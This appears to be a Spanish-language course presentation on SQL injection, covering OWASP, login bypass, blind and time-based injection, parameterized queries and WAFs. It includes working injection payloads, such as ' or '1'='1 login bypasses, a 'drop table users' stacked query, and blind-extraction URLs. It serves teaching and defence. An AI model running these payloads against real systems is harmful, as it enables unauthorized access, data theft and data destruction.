SlideShare una empresa de Scribd logo
Seguridad de la información
SQL
injection
Preparado por:
Carlos Rodríguez
José Moreno
Jesús Montenegro
SQL
Agenda
1-Conceptos Básicos de SQL
2-OWASP
3-¿Qués es SQLi?
4-Bypass Login
5-Tipos de Sql Injection
6-Prevención de Ataques
7-WAF
8-Demostración
SQL
Conceptos
SQL
Es la sigla para Structure Query Languaje (Lenguaje estructurado de consultas) es
un lenguaje declarativo de acceso a bases de datos relacionales que permite
especificar diversos tipos de operaciones en ellas. Una de sus características es el
manejo del álgebra y el cálculo relacional que permiten efectuar consultas con el fin
de recuperar, de forma sencilla, información de bases de datos, así como hacer
cambios en ellas. Apareció en 1974 desarrollado en IBM y diseñado por Donald
Chamberlin.
Lenguaje de Programación
En aplicaciones web que usan base de datos para manejar ( X ) operaciones, estos
son aplicaciones que permiten diseñar y estructurar el flujo de acontecimientos
necesarios para que un usuario final pueda interactuar con la información de la base
de datos del servidor.
A nivel web algunos lenguajes de programación destacados son:
Lenguajes de programación
PHP Perl Phyton Java
Ruby JavaScript C# Visual Basic
Arquitecturas interactivas
HTML5 CSS
XML Ajax
SQL
Conceptos
Motor de base de datos
Conocidos tambien como sistema de gestión de base de datos (SGBD) es un
conjuntos de programas que permite la gestión, almacenamiento, modificación y
extracción de información de una base de datos. Permite la administración de
usuarios, de base de datos, permisos de las funciones que tiene cada usuario y sobre
los componentes de las bases de datos, etc.
Algunos sistemas de gestión de base de datos conocidos son:
Microsoft Sql Server SYBASE ORACLE MySQL
Xploit
Del inglés “Explotar/Aprovechar”, fragmento de datos/software o secuencia de
comandos para aprovechar una vulnerabilidad de seguridad de un sistema de
información para conseguir un comportamiento no deseado del mismo.
Formas script virus gusanos
Clasificación de Xploits
Remoto Se usa en una red para tener contacto con el sistema víctima.
Local Si antes se necesita tener acceso a un sistema vulnerable para
conseguir privilegios.
Client Side Necesitan intervención de usuario de lado del cliente.
SQL
OWASP
Es la sigla para Open Web Application Security Project (Proyecto abierto de seguridad
de aplicaciones web) se dedica a determinar y combatirlas causas que hacen que el
software sea inseguro y que empezó operaciones en el 2001.
En 2004 se crea la fundación OWASP integrada por empresas e instituciones
educativas de todo el mundo.
Comunidad de seguridad informática que provee: artículos, metodologías,
documentación, herramientas y tecnologías de forma gratuita.
Proyectos Destacados:
Proyectos de documentación
Guia OWASP Guía de pruebas
OWASP top 10 ISO17799
Métricas AppSec FAQ
Legal
Proyectos de desarrollo
Web Scarab
Filtros de validación
WebGoat
DotNet
SQL
SQL Injection
¿Que es?
Método de infiltración de código intruso que se vale de una vulnerabilidad informática
presente en una aplicación a nivel de validación de entradas para realizar
operaciones sobre una base de datos.
El origen de la vulnerabilidad en el incorrecto chequeo / filtrado / validación de
variables utilizadas en un programa que contiene o genera código SQL.
¿Que se puede lograr con un ataque por inyección SQL?
● Leer información sencible desde la base de datos del servidor de la aplicación.
● Modificar la información con instrucciones (Insert/ Update/ Delete).
● Ejecutar instrucciones de administrador sobre la base de datos (detener el motor
de base datos).
● Recuperar el contenido de un determinado archivo presente sobre el sistema de
archivos del DBMS.
● En algunos casos emitir comandos al sistema operativo.
! Esta considerada como uno de los top 10 ataques según la OWASP.
Tipos Inyección SQL Inyección SQL a ciegas
SQL
SQL Injection
Factores afectados producto de una inyección SQL
Confidencialidad: las bases de datos generalmente guardan información sensible
por lo que la pérdida de confiabilidad se vuelve frecuente.
Autenticación: las consultas SQL pobres para validar nombre de usuarios y
contraseñas hace posible conectarse al sistema sin requerimiento de la contraseña.
Autorización: si las autorizaciones sobre una plataforma de software estan en una
base de datos es posible cambiar las reglas por medio de manipulacion de la
información por inyección SQL.
Integridad: asi como es posible leer información sensible, tambien es posible
cambiar o borrar por medio de una ataque.
Factores de riesgo
● El lenguaje SQL
● La plataforma de software que puede ser cualquiera que requiera una interacción
con base de datos.
SQL
Implementaciones técnicas – Login bypass
● Caracteres de ESCAPE filtrados incorrectamente
Este tipo de ataque ocurre cuando un campo de entrada de datos no tiene filtros
para caracteres de escape, entonces este pasa a una declaración SQL, resultando
en una potencial manipulación de la base de datos por el usuario final.
Líneas de prueba: pagina web que solicita usuario y contraseña para ingresar.
Credenciales válidas
usuario admin ron
contraseña admin ron
CASO 1: el usuario es admin y la contraseña admin
Lo que ve SQL: SELECT * FROM users WHERE name='tom' and password='tom'
Resultado: si ambos elementos son encontrados el usuario es autenticado.
CASO 2: el usuario es admin y la contraseña es una comilla simple ( ' )
Lo que ve SQL: SELECT FROM users WHERE name='tom' and password='''
Resultado: la página envía mensaje de error si ningun mensaje de error es
especificado.
SQL
Implementaciones técnicas – login bypass
CASO 3: el usuario es admin y la contraseña ' or '1'='1
Lo que ve SQL: SELECT * FROM users WHERE name='tom' and password='' or '1'='1'
Resultado: el usuario si es admin y la contraseña no es ( '' ) pero el (OR '1'='1') es
tomado como válido. De esta forma el usuario se autentica.
CASO 4: el usuario es admin y la contraseña ' or 1='1
Lo que ve SQL: SELECT FROM users WHERE name='tom' and password='' or 1='1'
Resultado: como el caso anterior solo que en este caso vemos que valida (1 = '1') que
sql toma como válido también.
CASO 5: el usuario es ' or '1'='1 y la contraseña ' or 1='1
Lo que ve SQL: SELECT FROM users WHERE name='' or '1'='1' and password='' or
1='1'
Resultado: como el CASO 3 pero tanto en el usuario como la contraseña no se validan
en SQL.
CASO 6: el usuario es ' or 1 = 1 -- y la contraseña es blah
Lo que ve SQL: SELECT FROM users WHERE name='' or '1'='1' -- and password =
'blah'.
Resultado: el usuario no se valida y la instrucción que valida la contraseña se
comenta.
SQL
Implementaciones técnicas – login bypass
● Manejo incorrecto de tipos de datos
Este tipo de ataque ocurre cuando campos de texto presentado al usuario no esta
fuertemente limitado a tipo de dato que debe ser introducido o no está validado para
comprobar el tipo de entrada de datos.
Ejemplo
Una variable de cadena que guarda la cadena de la consulta SQL que se va a hacer.
statement := "SELECT * FROM userinfo WHERE id =" + a_variable + ";"
Donde a_variable es una cadena que guarda el valor que un usuario escribe en un
campo de texto, en este caso sería de nombre de usuario.
En el campo de texto un atacante podría escribir algo como:
a_variable := '1; drop table users'
Al ejecutarse la cadena de la variable statement SQL interpretara lo siguiente:
SELECT * FROM userinfo WHERE id = 1; DROP TABLE users;
SQL
Diagrama de Explicación Sql Injection
SQL
Diagrama de Bypass Login
SQL
Tabla Cheat to Sheet
SQL
Blind SQL injection
En este tipo de ataques el atacante nunca puede acceder a los resultados que
devuelve la consulta porque la aplicación no los imprime. Sin embargo se puede
apreciar un comportamiento distinto ante consultas que devuelven datos y consultas
que no devuelven datos. A partir de este comportamiento distinto se intenta inyectar
lógica para extraer la información en base a valores True o False.
Ejemplo: probar diferentes formas para obtener un resultado.
www.vuln-web.com/photo.php?id=1/
Ningún error, la página web cargó normalmente
www.vuln-web.com/photo.php?id=1'
Ningún error, la página web cargó normalmente
www.vuln-web.com/photo.php?id=1'
Ningún error, pero se observa un comportamiento diferente a los intentos anteriores.
www.vuln-web.com/photo.php?id=1'--
Ningún error, pero el pequeño cambio aun se manifiesta
www.vuln-web.com/photo.php?id=1' and false%23
La página no cargó como lo hace normalmente y la consulta no retornó nada.
SQL
2 Way Blind SQL injection
Son técnicas para obtener información a través de inyección SQL a ciegas.
Uso de la función ASCII y substring:
Hace una busqueda en la que la página web se recarga continuamente cuando
encuentra un caracter de lo que se busca y genera error si no encuentra. Esta
aplcación se usa también en xploits.
Ejemplo:
www.vuln-web.com/photo.php?id=1' and and Ascii(substring((Select table_name
from information_schema.tables where table_schema=database() limit
0,1),1,1))=106%23
False
www.vuln-web.com/photo.php?id=1' and and Ascii(substring((Select table_name
from information_schema.tables where table_schema=database() limit
0,1),1,1))=107%23
False
www.vuln-web.com/photo.php?id=1' and and Ascii(substring((Select table_name
from information_schema.tables where table_schema=database() limit
0,1),1,1))=108%23
True
SQL
2 Way Blind SQL injection
Uso de la base de datos dummy DUAL y la sentencia Like:
Dual es una base datos presente en varios Motores de base de datos y esta creada
para pruebas y la sentencia Like se usa en lugar del operador =.
Ejemplo: Obteniendo el nombre de la base de datos
Paso 1: Obteniendo la cantidad de caracteres del nombre la base de datos
www.vuln-web.com/photo.php?id=1' and (select 1 from dual where database() like
'_______')%23
True
Paso 2: Verificar que caracteres estan presente en el nombre.
www.vuln-web.com/photo.php?id=1' and (select 1 from dual where database() like
'%e%')%23
True, ordenar los caracteres obtenidos, armar el nombre.
Paso 3: Verificar el nombre de la base de datos
www.vuln-web.com/photo.php?id=1' and (select 1 from dual where database() =
'dbase_1')%23
True
SQL
Blind SQL injection basado en tiempos
Aplicaciones que utilizan funciones SQL propias del motor de base de datos para
generar letargos de cierto tiempo de tal forma que si lo que se quiere es saber cierta
información como una contraseña, el ataque se puede hacer generando el letargo
cada vez que se coincida con uno de los caracteres de esa contraseña.
SQL
Blind SQL injection Consultas pesadas
En aplicaciones web que tienen incluso controles de seguridad contra inyección SQL
y sobre las funciones que generen letargos de tiempos ante respuestas positivas, es
posible que estas sean manipuladas mediante las técnicas de consultas pesadas que
se encargan de forzar el motor de la base de datos que generen retardos de tiempo
ante respuestas positivas.
Por ejemplo el motor de base de datos de Microsoft Acess no tiene de por si
funciones de letargo pero a través de instrucciones como el where, or, if exists, etc.
Su información puede ser obtenida o manipulada).
SQL
Medidas de prevención contra ataques
● Escapar caracteres especiales utilizados en la consultas SQL
● Delimitar los valores de la consulta
● Verificar siempre los datos que introduce el usuario
● Asignar minimos privilegios a usuarios que se va a conectar a la base de
datos
● Programar bien
SQL
Programación: Consultas parametrizadas
Instrucción(es) que pasan a la consulta SQL un conjunto prederminado de
caracteres y evita la directa concatenación de las variables a la consulta.
Connection conexion = null;
PreparedStatement sentencia = null;
ResultSet rs = null;
boolean valido = false;
try {
Class.forName("com.mysql.jdbc.Driver");
conexion =
DriverManager.getConnection("jdbc:mysql://localhost:3306/arquitecturajava","root
","blog");
String consulta = "select nombre from Usuarios where nombre =? and clave =?";
sentencia = conexion.prepareStatement(consulta);
sentencia.setString(1, nombre);
sentencia.setString(2, clave);
rs = sentencia.executeQuery();
if (rs.next())
valido = true;
En la consulta se utiliza el caracter ( ? ) para definir la posición en que estará cada
uno de los caracteres de entrada.
Así, la consulta es primero precompilada para mas adelante recibir los valores de los
parámetros pero sin posibilidad de que la consulta (tablas ,índices y joins) sea
SQL
Ejemplo PHP de Consultas Parametrizadas
SQL
Herramientas de análisis
Herramienta de pruebas de código abierto que automatiza el proceso de detectar y
explorar los errores de inyección SQL.
SQLiHelper 2.7 SQL Injection
SQLMap
Pangolin
Su utilidad es facilitar la extracción de información procedente de bases de datos
utilizando para ello técnicas de inyección SQL. Una vez indicada la url que queremos
analizar, la aplicación realizará peticiones inyectando código SQL con el fin de
comprobar si es realmente vulnerable.
Herramienta de pago que ofrece más posibilidades que la del punto anterior y que
está destinada a descubrir vulnerabilidades tanto del tipo inyección SQL como
inyección SQL ciego.
Son herramientas para el análisis de código que ponen a prueba nuestras
aplicaciones en busca de vulnerabilidades por inyección SQL.
SQL
WAF (Web Application Firewall)
Un firewall de aplicaciones Web (WAF) es un aparato, plugin de servidor, o el filtro
que se aplica un conjunto de reglas a una conversación HTTP. En general, estas
reglas cubren ataques comunes tales como cross-site scripting (XSS) y SQL
injection. Mediante la personalización de las reglas para su aplicación, muchos
ataques pueden ser identificados y bloqueados. El esfuerzo para llevar a cabo
esta personalización puede ser significativo y debe ser mantenido como se
modifica la aplicación.
SQL
Bibliografía
Herramientas de analisis de codigo SQL injection
http://pressroom.hostalia.com/white-papers/ataques-inyeccion-sql
Declaraciones parametrizadas
http://www.arquitecturajava.com/sql-injection-y-consultas-preparadas-24/
Consultas parametrizadas PHP
http://uno-de-piera.com/consultas-parametrizadas-con-php-pdo/
Tecnicas avanzadas con Blind SQL injection
http://www.elladodelmal.com/2007/11/tcnicas-avanzadas-en-blind-sql.html
Inyeccion SQL de owasp
https://www.owasp.org/index.php/Inyecci%C3%B3n_SQL
Sistema de gestión de base de datos
https://es.wikipedia.org/wiki/Sistema_de_gesti%C3%B3n_de_bases_de_datos
Xploits
https://es.wikipedia.org/wiki/Exploit
Implementaciones técnicas
http://sechow.com/bricks/docs/login-1.html
Capture the Flag
http://sourceforge.net/projects/lampsecurity/files/
http://highsec.es/que-es-un-ctf/
Login Bypass
http://securityidiots.com/Web-Pentest/SQL-Injection/bypass-login-using-sql-injection.html
Sqlmap
https://github.com/sqlmapproject/sqlmap
SQL
¡ Gracias !

Más contenido relacionado

La actualidad más candente

Norma iso 27001
Norma iso 27001Norma iso 27001
Norma iso 27001
Cecilia Hernandez
 
Sql Server Security
Sql Server SecuritySql Server Security
Sql Server Security
Vinod Kumar
 
Web Application Security
Web Application SecurityWeb Application Security
Web Application Security
MarketingArrowECS_CZ
 
Requisitos no Funcionales
Requisitos no FuncionalesRequisitos no Funcionales
Requisitos no Funcionales
Rene Guaman-Quinche
 
El DBA y sus funciones
El DBA y sus funcionesEl DBA y sus funciones
El DBA y sus funciones
kevinchontarivera
 
El modelo de datos relacional (Base de Datos)
El modelo de datos relacional (Base de Datos)El modelo de datos relacional (Base de Datos)
El modelo de datos relacional (Base de Datos)
Jose Carlos Guerra
 
Web application security
Web application securityWeb application security
Web application security
Kapil Sharma
 
1.2 arquitectura en 2 capas
1.2 arquitectura en 2 capas1.2 arquitectura en 2 capas
1.2 arquitectura en 2 capas
Esbeyiz
 
Presentación iso 27001
Presentación iso 27001Presentación iso 27001
Presentación iso 27001
Johanna Pazmiño
 
Politicas de seguridad en linux
Politicas de seguridad en linuxPoliticas de seguridad en linux
Politicas de seguridad en linuxDaniel Zavala
 
Desarrollo de aplicaciones web con casos de uso
Desarrollo de aplicaciones web  con casos de usoDesarrollo de aplicaciones web  con casos de uso
Desarrollo de aplicaciones web con casos de usoJosafat Mtz
 
Seguridad En Base De Datos
Seguridad En Base De DatosSeguridad En Base De Datos
Seguridad En Base De DatosWilliam Suárez
 
Arquitectura cliente servidor
Arquitectura cliente servidorArquitectura cliente servidor
Arquitectura cliente servidor
Noe Gonzalez Mendoza
 
Historia delas bases de datos orientada a objetos.
Historia delas bases de datos orientada a objetos.Historia delas bases de datos orientada a objetos.
Historia delas bases de datos orientada a objetos.
Noel Ruiz Gimenez
 
Normalización en Bases de datos
Normalización en Bases de datosNormalización en Bases de datos
Normalización en Bases de datos
kamui002
 
SEGURIDAD EN LINUX vs SEGURIDAD EN WINDOWS
SEGURIDAD EN LINUX vs SEGURIDAD EN WINDOWSSEGURIDAD EN LINUX vs SEGURIDAD EN WINDOWS
SEGURIDAD EN LINUX vs SEGURIDAD EN WINDOWS
Flakita Pinduisaca
 
Comparacion software comercial vs libre (Gestores De Base De Datos)
Comparacion software comercial vs libre (Gestores De Base De Datos)Comparacion software comercial vs libre (Gestores De Base De Datos)
Comparacion software comercial vs libre (Gestores De Base De Datos)
Oscar Ruiz Zapata
 
Presentacion kali linux
Presentacion kali linuxPresentacion kali linux
Presentacion kali linux
Kevin Medina
 

La actualidad más candente (20)

Norma iso 27001
Norma iso 27001Norma iso 27001
Norma iso 27001
 
Sql Server Security
Sql Server SecuritySql Server Security
Sql Server Security
 
Web Application Security
Web Application SecurityWeb Application Security
Web Application Security
 
Requisitos no Funcionales
Requisitos no FuncionalesRequisitos no Funcionales
Requisitos no Funcionales
 
El DBA y sus funciones
El DBA y sus funcionesEl DBA y sus funciones
El DBA y sus funciones
 
El modelo de datos relacional (Base de Datos)
El modelo de datos relacional (Base de Datos)El modelo de datos relacional (Base de Datos)
El modelo de datos relacional (Base de Datos)
 
Web application security
Web application securityWeb application security
Web application security
 
1.2 arquitectura en 2 capas
1.2 arquitectura en 2 capas1.2 arquitectura en 2 capas
1.2 arquitectura en 2 capas
 
Presentación iso 27001
Presentación iso 27001Presentación iso 27001
Presentación iso 27001
 
Politicas de seguridad en linux
Politicas de seguridad en linuxPoliticas de seguridad en linux
Politicas de seguridad en linux
 
Desarrollo de aplicaciones web con casos de uso
Desarrollo de aplicaciones web  con casos de usoDesarrollo de aplicaciones web  con casos de uso
Desarrollo de aplicaciones web con casos de uso
 
Seguridad En Base De Datos
Seguridad En Base De DatosSeguridad En Base De Datos
Seguridad En Base De Datos
 
Arquitectura cliente servidor
Arquitectura cliente servidorArquitectura cliente servidor
Arquitectura cliente servidor
 
Historia delas bases de datos orientada a objetos.
Historia delas bases de datos orientada a objetos.Historia delas bases de datos orientada a objetos.
Historia delas bases de datos orientada a objetos.
 
Normalización en Bases de datos
Normalización en Bases de datosNormalización en Bases de datos
Normalización en Bases de datos
 
SEGURIDAD EN LINUX vs SEGURIDAD EN WINDOWS
SEGURIDAD EN LINUX vs SEGURIDAD EN WINDOWSSEGURIDAD EN LINUX vs SEGURIDAD EN WINDOWS
SEGURIDAD EN LINUX vs SEGURIDAD EN WINDOWS
 
Acl extendida
Acl extendidaAcl extendida
Acl extendida
 
Comparacion software comercial vs libre (Gestores De Base De Datos)
Comparacion software comercial vs libre (Gestores De Base De Datos)Comparacion software comercial vs libre (Gestores De Base De Datos)
Comparacion software comercial vs libre (Gestores De Base De Datos)
 
Norma Iso 27001
Norma Iso 27001Norma Iso 27001
Norma Iso 27001
 
Presentacion kali linux
Presentacion kali linuxPresentacion kali linux
Presentacion kali linux
 

Similar a Seguridad Base de Datos sql injection v1.0

Actividad No. 1.11: SQL Injection con sqlmap en Kali Linux
Actividad No. 1.11: SQL Injection con sqlmap en Kali LinuxActividad No. 1.11: SQL Injection con sqlmap en Kali Linux
Actividad No. 1.11: SQL Injection con sqlmap en Kali Linux
Francisco Medina
 
Inyeccion sql
Inyeccion sqlInyeccion sql
Inyeccion sqlobispo28
 
Inyecciones SQL para Aprendices
Inyecciones SQL para AprendicesInyecciones SQL para Aprendices
Inyecciones SQL para Aprendices
Tensor
 
Inyecciones sql para aprendices
Inyecciones sql para aprendicesInyecciones sql para aprendices
Inyecciones sql para aprendices
Tensor
 
Curso basicoseguridadweb slideshare7
Curso basicoseguridadweb slideshare7Curso basicoseguridadweb slideshare7
Curso basicoseguridadweb slideshare7
tantascosasquenose
 
Inyeccionessqlparaaprendices complemento clase 1
Inyeccionessqlparaaprendices complemento clase 1Inyeccionessqlparaaprendices complemento clase 1
Inyeccionessqlparaaprendices complemento clase 1
Tensor
 
Seguridad web para desarrolladores - OWASP
Seguridad web para desarrolladores - OWASPSeguridad web para desarrolladores - OWASP
Seguridad web para desarrolladores - OWASP
Marcos Harasimowicz
 
Inyección_sql
Inyección_sqlInyección_sql
Inyección_sql
jhom123
 
Principales vulnerabilidades en Aplicaciones Web - Rediris 2008
Principales vulnerabilidades en Aplicaciones Web - Rediris 2008Principales vulnerabilidades en Aplicaciones Web - Rediris 2008
Principales vulnerabilidades en Aplicaciones Web - Rediris 2008
Christian Martorella
 
Base de datos
Base de datosBase de datos
Base de datos
Blind Jose
 
Asegurando tus APIs Explorando el OWASP Top 10 de Seguridad en APIs.pdf
Asegurando tus APIs Explorando el OWASP Top 10 de Seguridad en APIs.pdfAsegurando tus APIs Explorando el OWASP Top 10 de Seguridad en APIs.pdf
Asegurando tus APIs Explorando el OWASP Top 10 de Seguridad en APIs.pdf
Jose Manuel Ortega Candel
 
Ataques de inyección SQL: qué son y cómo protegerse
Ataques de inyección SQL: qué son y cómo protegerseAtaques de inyección SQL: qué son y cómo protegerse
Ataques de inyección SQL: qué son y cómo protegerse
Supra Networks
 
Cómo realizar un test de intrusión a una aplicación Web
Cómo realizar un test de intrusión a una aplicación WebCómo realizar un test de intrusión a una aplicación Web
Cómo realizar un test de intrusión a una aplicación Web
Eduardo Jalon
 
Sql injection
Sql injectionSql injection
Sql injection
Mauro Gomez Mejia
 
Mejores prácticas desarrollo de base de datos
Mejores prácticas desarrollo de base de datos Mejores prácticas desarrollo de base de datos
Mejores prácticas desarrollo de base de datos
Eduardo Castro
 
INYECCION SQL(SEGURIDAD DE LA INFORMACION)
INYECCION SQL(SEGURIDAD DE LA INFORMACION)INYECCION SQL(SEGURIDAD DE LA INFORMACION)
INYECCION SQL(SEGURIDAD DE LA INFORMACION)
toshko86
 
Evidencia Informe amenaza a las bases de datos - Gestión de la Seguridad Info...
Evidencia Informe amenaza a las bases de datos - Gestión de la Seguridad Info...Evidencia Informe amenaza a las bases de datos - Gestión de la Seguridad Info...
Evidencia Informe amenaza a las bases de datos - Gestión de la Seguridad Info...
Jesús Daniel Mayo
 
PyGoat Analizando la seguridad en aplicaciones Django.pdf
PyGoat Analizando la seguridad en aplicaciones Django.pdfPyGoat Analizando la seguridad en aplicaciones Django.pdf
PyGoat Analizando la seguridad en aplicaciones Django.pdf
Jose Manuel Ortega Candel
 

Similar a Seguridad Base de Datos sql injection v1.0 (20)

Inyecciones SQL
Inyecciones SQLInyecciones SQL
Inyecciones SQL
 
Actividad No. 1.11: SQL Injection con sqlmap en Kali Linux
Actividad No. 1.11: SQL Injection con sqlmap en Kali LinuxActividad No. 1.11: SQL Injection con sqlmap en Kali Linux
Actividad No. 1.11: SQL Injection con sqlmap en Kali Linux
 
Inyeccion sql
Inyeccion sqlInyeccion sql
Inyeccion sql
 
Inyecciones SQL para Aprendices
Inyecciones SQL para AprendicesInyecciones SQL para Aprendices
Inyecciones SQL para Aprendices
 
Inyecciones sql para aprendices
Inyecciones sql para aprendicesInyecciones sql para aprendices
Inyecciones sql para aprendices
 
Curso basicoseguridadweb slideshare7
Curso basicoseguridadweb slideshare7Curso basicoseguridadweb slideshare7
Curso basicoseguridadweb slideshare7
 
Inyeccionessqlparaaprendices complemento clase 1
Inyeccionessqlparaaprendices complemento clase 1Inyeccionessqlparaaprendices complemento clase 1
Inyeccionessqlparaaprendices complemento clase 1
 
Seguridad web para desarrolladores - OWASP
Seguridad web para desarrolladores - OWASPSeguridad web para desarrolladores - OWASP
Seguridad web para desarrolladores - OWASP
 
Inyección_sql
Inyección_sqlInyección_sql
Inyección_sql
 
Principales vulnerabilidades en Aplicaciones Web - Rediris 2008
Principales vulnerabilidades en Aplicaciones Web - Rediris 2008Principales vulnerabilidades en Aplicaciones Web - Rediris 2008
Principales vulnerabilidades en Aplicaciones Web - Rediris 2008
 
Base de datos
Base de datosBase de datos
Base de datos
 
Asegurando tus APIs Explorando el OWASP Top 10 de Seguridad en APIs.pdf
Asegurando tus APIs Explorando el OWASP Top 10 de Seguridad en APIs.pdfAsegurando tus APIs Explorando el OWASP Top 10 de Seguridad en APIs.pdf
Asegurando tus APIs Explorando el OWASP Top 10 de Seguridad en APIs.pdf
 
Ataques de inyección SQL: qué son y cómo protegerse
Ataques de inyección SQL: qué son y cómo protegerseAtaques de inyección SQL: qué son y cómo protegerse
Ataques de inyección SQL: qué son y cómo protegerse
 
Cómo realizar un test de intrusión a una aplicación Web
Cómo realizar un test de intrusión a una aplicación WebCómo realizar un test de intrusión a una aplicación Web
Cómo realizar un test de intrusión a una aplicación Web
 
Sql injection
Sql injectionSql injection
Sql injection
 
Mejores prácticas desarrollo de base de datos
Mejores prácticas desarrollo de base de datos Mejores prácticas desarrollo de base de datos
Mejores prácticas desarrollo de base de datos
 
INYECCION SQL(SEGURIDAD DE LA INFORMACION)
INYECCION SQL(SEGURIDAD DE LA INFORMACION)INYECCION SQL(SEGURIDAD DE LA INFORMACION)
INYECCION SQL(SEGURIDAD DE LA INFORMACION)
 
Evidencia Informe amenaza a las bases de datos - Gestión de la Seguridad Info...
Evidencia Informe amenaza a las bases de datos - Gestión de la Seguridad Info...Evidencia Informe amenaza a las bases de datos - Gestión de la Seguridad Info...
Evidencia Informe amenaza a las bases de datos - Gestión de la Seguridad Info...
 
PyGoat Analizando la seguridad en aplicaciones Django.pdf
PyGoat Analizando la seguridad en aplicaciones Django.pdfPyGoat Analizando la seguridad en aplicaciones Django.pdf
PyGoat Analizando la seguridad en aplicaciones Django.pdf
 
Inyección sql1
Inyección sql1Inyección sql1
Inyección sql1
 

Más de José Moreno

Android reversing 101.pdf
Android reversing 101.pdfAndroid reversing 101.pdf
Android reversing 101.pdf
José Moreno
 
Ransomware Hidden Tear
Ransomware Hidden TearRansomware Hidden Tear
Ransomware Hidden Tear
José Moreno
 
Bash Ransomware
Bash RansomwareBash Ransomware
Bash Ransomware
José Moreno
 
Seguridad Móvil
Seguridad MóvilSeguridad Móvil
Seguridad Móvil
José Moreno
 
Seguridad en SIstemas Operativos *Nix
Seguridad en SIstemas Operativos *NixSeguridad en SIstemas Operativos *Nix
Seguridad en SIstemas Operativos *Nix
José Moreno
 
Honey Pots
Honey PotsHoney Pots
Honey Pots
José Moreno
 
Seguridad Perimetral
Seguridad PerimetralSeguridad Perimetral
Seguridad Perimetral
José Moreno
 
Correlacionador de Eventos OSSIM
Correlacionador de Eventos OSSIMCorrelacionador de Eventos OSSIM
Correlacionador de Eventos OSSIM
José Moreno
 
Forensia en movil
Forensia en movil Forensia en movil
Forensia en movil
José Moreno
 
Artefactos linux
Artefactos linuxArtefactos linux
Artefactos linux
José Moreno
 
MEAN Stack
MEAN StackMEAN Stack
MEAN Stack
José Moreno
 
Backbox Distribución deriva de Ubuntu
Backbox Distribución deriva de UbuntuBackbox Distribución deriva de Ubuntu
Backbox Distribución deriva de Ubuntu
José Moreno
 
Presentacion #2 github Aplicaciones Seguras
Presentacion #2 github Aplicaciones SegurasPresentacion #2 github Aplicaciones Seguras
Presentacion #2 github Aplicaciones Seguras
José Moreno
 
Hardening Telnet ssh final
Hardening Telnet ssh finalHardening Telnet ssh final
Hardening Telnet ssh final
José Moreno
 
Protección de Sitios Web con WAF Lógico
Protección de Sitios Web con WAF LógicoProtección de Sitios Web con WAF Lógico
Protección de Sitios Web con WAF Lógico
José Moreno
 
Laboratorio 7 mod security - evasive - qos
Laboratorio 7   mod security - evasive - qosLaboratorio 7   mod security - evasive - qos
Laboratorio 7 mod security - evasive - qos
José Moreno
 
Lab 3 cifrado criptografia
Lab 3   cifrado criptografiaLab 3   cifrado criptografia
Lab 3 cifrado criptografia
José Moreno
 
Hardening en-nix-asegurar-un-ftp-server
Hardening en-nix-asegurar-un-ftp-serverHardening en-nix-asegurar-un-ftp-server
Hardening en-nix-asegurar-un-ftp-server
José Moreno
 

Más de José Moreno (18)

Android reversing 101.pdf
Android reversing 101.pdfAndroid reversing 101.pdf
Android reversing 101.pdf
 
Ransomware Hidden Tear
Ransomware Hidden TearRansomware Hidden Tear
Ransomware Hidden Tear
 
Bash Ransomware
Bash RansomwareBash Ransomware
Bash Ransomware
 
Seguridad Móvil
Seguridad MóvilSeguridad Móvil
Seguridad Móvil
 
Seguridad en SIstemas Operativos *Nix
Seguridad en SIstemas Operativos *NixSeguridad en SIstemas Operativos *Nix
Seguridad en SIstemas Operativos *Nix
 
Honey Pots
Honey PotsHoney Pots
Honey Pots
 
Seguridad Perimetral
Seguridad PerimetralSeguridad Perimetral
Seguridad Perimetral
 
Correlacionador de Eventos OSSIM
Correlacionador de Eventos OSSIMCorrelacionador de Eventos OSSIM
Correlacionador de Eventos OSSIM
 
Forensia en movil
Forensia en movil Forensia en movil
Forensia en movil
 
Artefactos linux
Artefactos linuxArtefactos linux
Artefactos linux
 
MEAN Stack
MEAN StackMEAN Stack
MEAN Stack
 
Backbox Distribución deriva de Ubuntu
Backbox Distribución deriva de UbuntuBackbox Distribución deriva de Ubuntu
Backbox Distribución deriva de Ubuntu
 
Presentacion #2 github Aplicaciones Seguras
Presentacion #2 github Aplicaciones SegurasPresentacion #2 github Aplicaciones Seguras
Presentacion #2 github Aplicaciones Seguras
 
Hardening Telnet ssh final
Hardening Telnet ssh finalHardening Telnet ssh final
Hardening Telnet ssh final
 
Protección de Sitios Web con WAF Lógico
Protección de Sitios Web con WAF LógicoProtección de Sitios Web con WAF Lógico
Protección de Sitios Web con WAF Lógico
 
Laboratorio 7 mod security - evasive - qos
Laboratorio 7   mod security - evasive - qosLaboratorio 7   mod security - evasive - qos
Laboratorio 7 mod security - evasive - qos
 
Lab 3 cifrado criptografia
Lab 3   cifrado criptografiaLab 3   cifrado criptografia
Lab 3 cifrado criptografia
 
Hardening en-nix-asegurar-un-ftp-server
Hardening en-nix-asegurar-un-ftp-serverHardening en-nix-asegurar-un-ftp-server
Hardening en-nix-asegurar-un-ftp-server
 

Último

Desarrollo de Habilidades de Pensamiento.docx (3).pdf
Desarrollo de Habilidades de Pensamiento.docx (3).pdfDesarrollo de Habilidades de Pensamiento.docx (3).pdf
Desarrollo de Habilidades de Pensamiento.docx (3).pdf
AlejandraCasallas7
 
Estructuras básicas_ conceptos básicos de programación.pdf
Estructuras básicas_  conceptos básicos de programación.pdfEstructuras básicas_  conceptos básicos de programación.pdf
Estructuras básicas_ conceptos básicos de programación.pdf
ItsSofi
 
Conceptos Básicos de Programación L.D 10-5
Conceptos Básicos de Programación L.D 10-5Conceptos Básicos de Programación L.D 10-5
Conceptos Básicos de Programación L.D 10-5
JulyMuoz18
 
biogas industrial para guiarse en proyectos
biogas industrial para guiarse en proyectosbiogas industrial para guiarse en proyectos
biogas industrial para guiarse en proyectos
Luis Enrique Zafra Haro
 
(PROYECTO) Límites entre el Arte, los Medios de Comunicación y la Informática
(PROYECTO) Límites entre el Arte, los Medios de Comunicación y la Informática(PROYECTO) Límites entre el Arte, los Medios de Comunicación y la Informática
(PROYECTO) Límites entre el Arte, los Medios de Comunicación y la Informática
vazquezgarciajesusma
 
INFORME DE LAS FICHAS.docx.pdf LICEO DEPARTAMENTAL
INFORME DE LAS FICHAS.docx.pdf LICEO DEPARTAMENTALINFORME DE LAS FICHAS.docx.pdf LICEO DEPARTAMENTAL
INFORME DE LAS FICHAS.docx.pdf LICEO DEPARTAMENTAL
CrystalRomero18
 
DESARROLO DE HABILIDADES DE PENSAMIENTO.pdf
DESARROLO DE HABILIDADES DE PENSAMIENTO.pdfDESARROLO DE HABILIDADES DE PENSAMIENTO.pdf
